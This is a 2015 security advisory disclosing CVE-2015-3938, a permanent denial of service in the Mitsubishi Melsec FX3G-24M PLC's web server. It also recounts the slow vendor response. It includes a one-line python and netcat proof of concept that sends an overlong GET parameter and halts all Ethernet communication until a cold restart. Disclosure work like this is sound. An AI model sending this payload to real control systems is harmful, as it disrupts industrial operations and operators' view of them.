OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt
info@os-s.net

OS-S Security Advisory 2015-03

Date: September 29th, 2015

Updated: September 29th, 2015

Authors: Maik Brüggemann, Hendrik Schwartke, Ralf Spenneberg

CVE: CVE-2015-3938

CVSS: 7.1 (AV:N/AC:M/Au:N/C:N/I:N/A:C)

ICS-CERT Advisory: ICSA-15-146-01

Title: Mitsubishi ICS FX3G-24M Permanent Communication Denial of Service

Severity: Critical. The TCP/IP communication of the Mitsubishi Melsec FX3G-24 is permanently disrupted.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation (buffer overflow?)

Products: Mitsubishi Melsec FX3G-24M

Abstract

The Mitsubishi Melsec FX3G-24M is a highly integrated Industrial Control System (ICS). Many functions of the ICS may be controlled via the built-in HTTP-Server. By using specially crafted HTTP-messages all Ethernet based communication may be permanently disrupted. This permanent denial of Service can only be corrected via a cold restart of the ICS.

Detailed product description

We confirmed the bug on the following system:

- FX3G-24M
  - CPU-Version: 2.10
  - FX3U-ENET-ADP Version: 1.20

Further products or firmware versions have not been tested

Description

The built-in HTTP application is unable to handle parameters with a length of 100 bytes or more. This is true for all tested URLs but */fx_devmon.html*. Even parameters not used by the web applications trigger the DoS bug. This security weakness can be exploited using both POST and GET HTTP requests.

As soon as any parameter with a length of at least 100 characters is transmitted all Ethernet/IP/TCP communication is permanently halted. A connected HMI looses its connection, the HTTP server is not available any more and the System does not respond to ICMP ping requests or ARP requests.

The ICS has to undergo a cold restart be interrupting the power supply.

The PLC still continues to execute the internal logic program. Only the Ethernet based

communication is disrupted.

Proof of Concept

The following command (all on one line) crafts an GET request and sends it to the PLC running on the IP address 192.168.155.80:

```
python -c "print 'GET /index.html?'+'A'*100 +' \ HTTP/1.1\r\n\r\n'"  | nc
192.168.155.80 80
```

As soon as the command returns the communication is disrupted.

Severity and Ease of Exploitation

The security weakness can be easily exploited. No special tools are necessary. The Exploit neither requires physical access to the ICS nor does it require direct access to the ICS network. The exploit can be executed across routers and if the ICS is connected to the internet across the Internet. The HTTP-request is a normal and valid request and will not be detected or prevented by Firewalls or Intrusion Prevention Systems.

The disruption of the Ethernet based communication will cause a permanent loss of view on any connected HMIs and will prevent the communication of the ICS with other ICS systems via Ethernet.

Vendor Communication

We unsuccessfully tried to contact the vendor for several month. We could not find a security contact responsible for these products. On December 4th 2014 we contacted the ICS-CERT. The ICS-CERT contacted Mitsubishi. Mitsubishi released a new firmware in April 2015. The new firmware will only be available in all controllers shipped starting April 2015. Older controllers will not receive the firmware update.